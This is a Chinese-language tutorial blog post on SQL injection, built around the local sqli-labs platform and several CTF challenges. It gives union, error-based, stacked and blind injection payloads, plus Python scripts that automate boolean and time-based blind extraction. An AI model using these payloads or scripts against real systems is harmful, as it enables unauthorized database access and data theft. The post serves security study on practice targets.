WEB入门——SQL注入(一)

本文介绍了SQL注入的基本概念、原因及搭建练习平台,深入讲解了有回显注入的联合注入、报错注入和堆叠注入,包括手动解题步骤、SQLmap工具使用以及CTF练习案例。此外,还探讨了无回显注入中的Bool盲注及其常见函数、Python脚本应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、SQL注入的成因

开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。

二、搭建SQL注入练习平台

  • sqli-labs是一款学习SQL注入的开源平台
  • 下载:https//github.com/skyblueee/sqli-labs-php7
  • 打开phpstady的 www 根目录,解压到根目录下
  • 打开phpMyAdmin 数据库管理工具
  • 在数据库中新建一个security数据库
  • 选择sqli-labs目录中的sql-lab.sql文件,点执行导入到数据库中
  • 打开sqli-labs文件下的sql-connections文件夹中的db-creds.inc文件,修改连接数据库中的密码
    在这里插入图片描述

三、SQL注入分类

3.1 有回显的注入

3.1.1 联合注入

联合注入,表示存在可以使用union关键字进行SQL注入的注入点。
例题:http://localhost/sqli-labs/Less-1/ 源代码中SQL语句部分如下:

<?php
if(isset($_GET['id']))
{
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

通过SQL语句中的$id变量,该变量会将GET获取到的参数直接拼接到SQL语句中。如果我们传入参数:

?id=1' union select database() #

那么源代码里面的SQL语就会变成:

$sql="SELECT * FROM users WHERE id='1' union select database() # LIMIT 0,1";

通过传入的单引号闭合前面的单引号,#注释掉后面的语句,中间写上我们需要运行的语句就可以了。

3.1.1.1手动注入一般解题步骤:
  1. 判断网站是否可以进行SQL注入

    • 分别输入不同的id值
    • 有结果:1
    • 有结果:1’ and 1=1#
    • 无结果:1’ and 1=2#
  2. . 依次试一试数据表中有多少列,如果order by 5 报错,则表示有4列。
    ?id=1’ order by 4 #

  3. 查看版本和数据名称 :select 1,2,3…这里根据数据表中的列数来决定参数数量。
    ?id=1’and 1=2 union select 1,version() , database() #

  4. 查看所有数据库:当flag不在当前数据库 可以通过下面的方法查询所有数据库名称,
    ?id=1’and 1=2 union select 1, (select group_concat(schema_name) from information_schema.schemata ) #

  5. 查看数据库中的所有表
    ?id=1’and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 数据库名称) #
    or
    ?id=1’and 1=2 union select 1,(select table_name from information_schema.tables where table_schema = 数据库名称 limit 0,1 ) #

  6. 查看表中的所有字段
    ?id=1’and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 表名) #

  7. 查看字段的所有值
    ?id=1’and 1=2 union select 1,(select 字段名称 from 表名 ) #

关于information_schema:MySQL 中的 information_schema 数据库

3.1.1.2 使用SQLmap工具注入步骤:

参考资料:sqlmap使用教程(超详细)

3.1.1.3 CTF练习
  • [极客大挑战 2019]EasySQL
    在这里插入图片描述
  1. 查看源码,并么有发现SQL语句。尝试弱密码,没有试用出密码。所以尝试注入。
  2. 在BurpSuite中通过Repeater通过手工注入即可得到flag。
    在这里插入图片描述
  • [极客大挑战 2019]LoveSQL
    在这里插入图片描述
  1. 查看源码,没有SQL语句。尝试弱密码登陆也失败了。继续用SQL注入,通过注入username=admin’ or 1=1 #
    在这里插入图片描述
  2. 通过注入可以知道,flag可能藏在了其他数据表中,通过ORDER BY语句查看到该数据表只有3列
    在这里插入图片描述
  3. 使用Union关键字连接两个查询语句,并查询出当前数据库名称:
    在这里插入图片描述
  4. 根据数据库名称查询出所有表名称,使用group_concat()将所有表名连接合并成一个字符串。得到两个数据表名:geekuser和l0ve1ysq1,猜flag可能在l0ve1ysq1表中。
    在这里插入图片描述
  5. 查询l0ve1ysq1表的所有字段名
    在这里插入图片描述
  6. 最后查询表中所有值:得到flag
    在这里插入图片描述

3.1.2 报错注入

3.1.2.1 extractvalue函数

extractevalue函数是对XML文档进行查询的函数。
语法: extractvalue(目标XML文档,XML路径)

mysql> select extractvalue('<div>value</div>','div');
+----------------------------------------+
| extractvalue('<div>value</div>','div') |
+----------------------------------------+
| value                                  |
+----------------------------------------+
1 row in set (0.00 sec)

上面的SQL语句查询出div标签的值为value。如果查询的标签名格式不对,就会报错。例如:以 ~ 开关,并显示查询的标签名。

mysql> select extractvalue('<div>value</div>','~div');
ERROR 1105 (HY000): XPATH syntax error: '~div'
mysql> select extractvalue('<div>value</div>',concat('~',database()));
ERROR 1105 (HY000): XPATH syntax error: '~security'

所以,就可以利用extractvalue函数的报错回显,来显示我们需要的信息。

使用步骤:

  1. 使用extractvalue 攻击获取数据库名:
    ’ and extractvalue(‘div’,concat(‘~’,database())) #
  2. 获取表名
    ’ and extractvalue(‘div’,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema = 数据库名))) #
  3. 后续的操作与union联合注入类似。
3.1.2.2 updatexml函数

updatexml函数是用来更新xml文档中的值。
语法: updatexml(目标xml文档,xml路径,更新的类容)

mysql> select updatexml('<div>value</div>','/div','key') ;
+--------------------------------------------+
| updatexml('<div>value</div>','/div','key') |
+--------------------------------------------+
| key                                        |
+--------------------------------------------+
1 row in set (0.00 sec)

上面的SQL语句,使用updatexml函数将<div>标签里面的值(原来是value)替换成key。

使用步骤:

  1. 使用updatexml攻击获取数据名:
    ’ and updatexml(‘div’,concat(‘~’,database(),‘hello’)) #
  2. 后续步骤与union联合查询类似。

除了,上述两个函数进行报错注入外,其他的函数学习后了再继续总结。

3.1.3 堆叠注入

将SQL语句使用 “;”隔开。不是所有的可注入网站都可以进行堆叠注入。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{

上面的PHP代码中,可以执行多重查询,则就可以使用堆叠注入,注入方式和union联合注入类似,只是不使用union连接两个SQL语句,而是直接使用分号隔开。

3.1.3.1 handler 命令:
  • handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
  • handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
  • handler 别名 close;(将这个句柄实例关闭)
3.1.3.2 CTF练习
  • [SUCTF 2019]EasySQL
    在这里插入图片描述
  • 输入1,返回一个 Array数组,所以判断可能存在多个返回信息。并且返回的信息通过数组进行存储。所以使用堆叠注入测试。
    在这里插入图片描述
  • 测试返现存在堆叠注入可能,并得到数据库名称 ctf ,继续查询数据库中的所有表名。
    在这里插入图片描述
  • 在查询表名时,发现回显的信息时Nonono,可能是对某些关键字进行了过滤,通过对单个关键字进行提交,发现它过滤了:from、where、flag、information_scheam等字符,只能尝试其他方式。
    在这里插入图片描述
  • 通过show tables ;查询出表名为Flag,刚刚已经知道了Flag是被过滤的关键字。所以我查看大佬的WP,幡然醒悟,当输入数字有回显,除了被过滤的关键字,其他任何字符串都没有回显,大佬的猜测原来的SQL语句使用“||”符号进行了隔断:
select $_POST('query') || flag from Flag ;

所以方法1:
直接通过注入 " *,1 " 就得到了下面的结果。
在这里插入图片描述

方法2:
通过将”||“的功能从或运算改为字符串拼接。

set sql_mode=PIPES_AS_CONCAT;

在这里插入图片描述

3.2 无回显的注入

3.2.1 Bool盲注

不会显示查询出来的数据,这是的注入就叫布尔注入或盲注。盲注通常是由于开发者将报错信息屏蔽而导致的,但是网页中真和假有着不同的回显,比如为真时返回access,为假时返回false;或者为真时返回正常页面,为假时跳转到错误页面等。
利用上面的特性,在使用一些判断语句,根据返回信息的不同进行判断,最终一步步拿到数据库信息。

3.2.1.1 Bool盲注中常用的函数
函数名语法功能介绍
substrsubstr(string,start,length)截取函数,截取字符串从start位置开始,截取length长度的字符串。
leftleft(string,length)左截取函数,从左边开始,截取长度为length的字符串。
rightright(string,length)右截取函数,从右边开始,截取长度为length的字符串。
asciiascii(char)将一个字符转换成ASCII码
hexhex(string)可以将字符串的值转换成十六进制
ifif(comd,Ture_result,False_result)比较函数
mysql> select substr('abc',1,2);
+-------------------+
| substr('abc',1,2) |
+-------------------+
| ab                |
+-------------------+
1 row in set (0.00 sec)

mysql> select left('abc',1);
+---------------+
| left('abc',1) |
+---------------+
| a             |
+---------------+
1 row in set (0.00 sec)

mysql> select right('abc',1);
+----------------+
| right('abc',1) |
+----------------+
| c              |
+----------------+
1 row in set (0.00 sec)

mysql> select ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.00 sec)

mysql> select hex('a');
+----------+
| hex('a') |
+----------+
| 61       |
+----------+
1 row in set (0.00 sec)

mysql> select if(1>2,1,2) ;
+-------------+
| if(1>2,1,2) |
+-------------+
|           2 |
+-------------+
1 row in set (0.00 sec)
3.2.1.2 sqli-labs 练习题8

在这里插入图片描述

  • 判断数据名的长度为多少
    • 当注入 1’ and length(database())< 9 # 时,有You are in …回显
    • 当注入 1’ and length(database())< 8 # 时,没有回显
    • 所以数据库名称长度为8,。
      在这里插入图片描述
  • 通过匹配数据库名的各个位置上的ASCII码值,来找出数据库名。
    • 1’ and ascii(substr(database(),1,1))=115 # s:115 有You are in …回显,所以数据库的第一个字符为s
    • 如果手工去判断,任务太艰巨,所以我们使用Burpsuite工具或者Python脚本进行暴力注入。
3.2.1.3 使用Burpsuite工具
  1. 将request发送到Intruder
    在这里插入图片描述

  2. 清除它自动添加$,然后通过手动添加$。这里我添加两个:第一个是代表数据库名的第几个字符,第二个是ASCII码值。然后在Attack type 选择 cluster bomb 。
    在这里插入图片描述

3.使用payloads设置payload值,第1个值设置类型为Numbers,下面设置From:1,To:8,Step:1。表示从1开始跨度为1,直到8结束。同理第2个payload值设置类型为Numbers,From:32,To:127,Step:1。点击star attack开始爆破。
在这里插入图片描述
4. 通过Length的长度判断,本题中Length为890时表示正确的值,所以得到数据库的8位ascii码值:115、101、99、117、114、105、116、121。转换成字符串为: security
在这里插入图片描述

3.2.1.4 Python脚本
枚举法:
  • 获得数据库的长度。
  • 遍历所有可打印ASCII码的值
import time 
import requests
url = 'http://127.0.0.1/sqli-labs/Less-8/'
session = requests.Session()
def getData():
        results =[]
        for i in range(1,9): # 1 , length(database()) + 1
            print (f"{i}...:",end='')

            for j in range(33,128): # ASCII
                payload = {
                    'id':f"1'and ascii(substr(database(),{i},1)) = {j} #" 
                }
                ret = session.get(url , params=payload)

                if "You are in" in ret.text :  # 如果 You are in 存在返回文本中
                    results.append(chr(j))
                    print(''.join(results))
                    break 
        return ''.join(results)

start = time.time()
getData()
print(f"time spend: {time.time()-start}") #查看花费时间

运行结果:

1...:s
2...:se
3...:sec
4...:secu
5...:secur
6...:securi
7...:securit
8...:security
time spend: 9.106735467910767
二分法:
  • 优点
  • 速度快
  • 自动判断长度
import requests
import time  

url = "http://127.0.0.1/sqli-labs/Less-8/" 
sesion = requests.Session()
def getData() :
    results = [] 
    for i in range(1,100): # 随便遍历次数
        print(f'{i}.....',end='') 
        start = -1
        end = 255
        mid = -1
        while start < end : 
            mid = (start + end ) // 2
            payload = {
                'id':f"1' and ascii(substr(database(),{i},1)) > {mid} #" 
                }             
            ret = sesion.get(url,params=payload)   # 使用get请求发送             
            if 'You are in' in ret.text :        #  判断返回值
                start = mid + 1
            else :
                end = mid 
        if mid == -1 :
            break
        results.append(chr(start))
        print(''.join(results))
    return ''.join(results) 

begin = time.time()
getData()
print(f'time spend : {time.time() - begin}') #查看花费时间 
1.....s
2.....se
3.....sec
4.....secu
5.....secur
6.....securi
7.....securit
8.....security
9.....time spend : 0.8055474758148193

3.3 时间盲注

时间盲注出现的本质原因也是由于服务器端拼接了SQL语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间进行按位判断数据,与bool盲注类似。

3.3.1 时间盲注常用的函数
函数语法说明
ifif(comd,Ture_result,False_result)比较函数
sleepsleep(time)让程序停止执行一段指定的时间。
3.3.2 sqli-labs第9题

在这里插入图片描述
在这里插入图片描述

如上图无论注入参数是否正确,它回显的内容都是一样的。所以通过观察右下角的时间来判断是否成功。
1’and if(length(database())>7,sleep(1),1 ) # 如果数据库名称长度大于7则延迟1秒。
在这里插入图片描述

3.3.3 Python脚本
import requests
import time  

url = "http://127.0.0.1/sqli-labs/Less-9/" 
sesion = requests.Session()
def getData() :
    results = [] 
    for i in range(1,100): # 随便遍历次数
        print(f'{i}.....',end='') 
        start = -1
        end = 255
        mid = -1
        while start < end : 
            mid = (start + end ) // 2
            payload = {
                'id':f"1' and if(ascii(substr(database(),{i},1)) > {mid},sleep(1),1) #" 
                }             
            ret = sesion.get(url,params=payload)   # 使用get请求发送           
            if ret.elapsed.total_seconds() >= 1 :        #  判断返回值
                start = mid + 1
            else :
                end = mid 
        if mid == -1 :
            break
        results.append(chr(start))
        print(''.join(results))
    return ''.join(results) 

begin = time.time()
getData()
print(f'time spend : {time.time() - begin}') #查看花费时间

运行结果:

1.....s
2.....se
3.....sec
4.....secu
5.....secur
6.....securi
7.....securit
8.....security
9.....time spend : 38.894463777542114
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值